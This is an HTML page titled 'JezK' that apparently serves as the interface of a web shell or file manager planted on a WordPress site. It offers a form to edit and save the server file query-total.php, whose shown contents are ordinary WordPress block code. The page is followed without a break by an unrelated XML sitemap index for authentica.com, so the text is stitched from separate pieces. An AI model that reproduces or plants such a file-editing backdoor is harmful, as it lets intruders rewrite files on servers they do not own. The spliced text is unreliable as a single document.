
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: query-total.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php
/**
 * Server-side rendering of the `core/query-total` block.
 *
 * @package WordPress
 */

/**
 * Renders the `query-total` block on the server.
 *
 * @since 6.8.0
 *
 * @global WP_Query $wp_query WordPress Query object.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 *
 * @return string The rendered block content.
 */
function render_block_core_query_total( $attributes, $content, $block ) {
	global $wp_query;
	$wrapper_attributes = get_block_wrapper_attributes();
	if ( $block-&gt;context['query']['inherit'] ?? false ) {
		$query_to_use = $wp_query;
		$current_page = max( 1, (int) get_query_var( 'paged', 1 ) );
	} else {
		$page_key     = isset( $block-&gt;context['queryId'] ) ? 'query-' . $block-&gt;context['queryId'] . '-page' : 'query-page';
		$current_page = (int) ( $_GET[ $page_key ] ?? 1 );
		$query_to_use = new WP_Query( build_query_vars_from_query_block( $block, $current_page ) );
	}

	$max_rows       = $query_to_use-&gt;found_posts;
	$posts_per_page = (int) $query_to_use-&gt;get( 'posts_per_page' );

	// Calculate the range of posts being displayed.
	$start = ( 0 === $max_rows ) ? 0 : ( ( $current_page - 1 ) * $posts_per_page + 1 );
	$end   = min( $start + $posts_per_page - 1, $max_rows );

	// Prepare the display based on the `displayType` attribute.
	$output = '';
	switch ( $attributes['displayType'] ) {
		case 'range-display':
			if ( $start === $end ) {
				$output = sprintf(
					/* translators: 1: Start index of posts, 2: Total number of posts */
					__( 'Displaying %1$s of %2$s' ),
					$start,
					$max_rows
				);
			} else {
				$output = sprintf(
					/* translators: 1: Start index of posts, 2: End index of posts, 3: Total number of posts */
					__( 'Displaying %1$s – %2$s of %3$s' ),
					$start,
					$end,
					$max_rows
				);
			}

			break;

		case 'total-results':
		default:
			// translators: %d: number of results.
			$output = sprintf( _n( '%d result found', '%d results found', $max_rows ), $max_rows );
			break;
	}

	return sprintf(
		'&lt;div %1$s&gt;%2$s&lt;/div&gt;',
		$wrapper_attributes,
		$output
	);
}

/**
 * Registers the `query-total` block.
 *
 * @since 6.8.0
 */
function register_block_core_query_total() {
	register_block_type_from_metadata(
		__DIR__ . '/query-total',
		array(
			'render_callback' =&gt; 'render_block_core_query_total',
		)
	);
}
add_action( 'init', 'register_block_core_query_total' );
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//authentica.com/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://authentica.com/post-sitemap.xml</loc>
		<lastmod>2026-08-26T11:41:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/page-sitemap1.xml</loc>
		<lastmod>2026-08-26T08:04:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/page-sitemap2.xml</loc>
		<lastmod>2026-08-26T07:16:17+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/seoul-courses-sitemap.xml</loc>
		<lastmod>2026-07-13T10:19:53+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/barcelona-courses-sitemap.xml</loc>
		<lastmod>2026-07-24T07:14:33+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/florence-courses-sitemap.xml</loc>
		<lastmod>2026-07-21T10:27:59+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/programs_filters-sitemap.xml</loc>
		<lastmod>2026-08-25T10:16:31+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/category-sitemap.xml</loc>
		<lastmod>2026-08-26T11:41:11+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/news-sitemap.xml</loc>
		<lastmod>2026-08-25T11:26:03+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/video-sitemap.xml</loc>
		<lastmod>2026-08-21T13:20:02+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://authentica.com/local-sitemap.xml</loc>
		<lastmod>2026-07-21T08:21:27+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Rank Math SEO Plugin (c) Rank Math - rankmath.com -->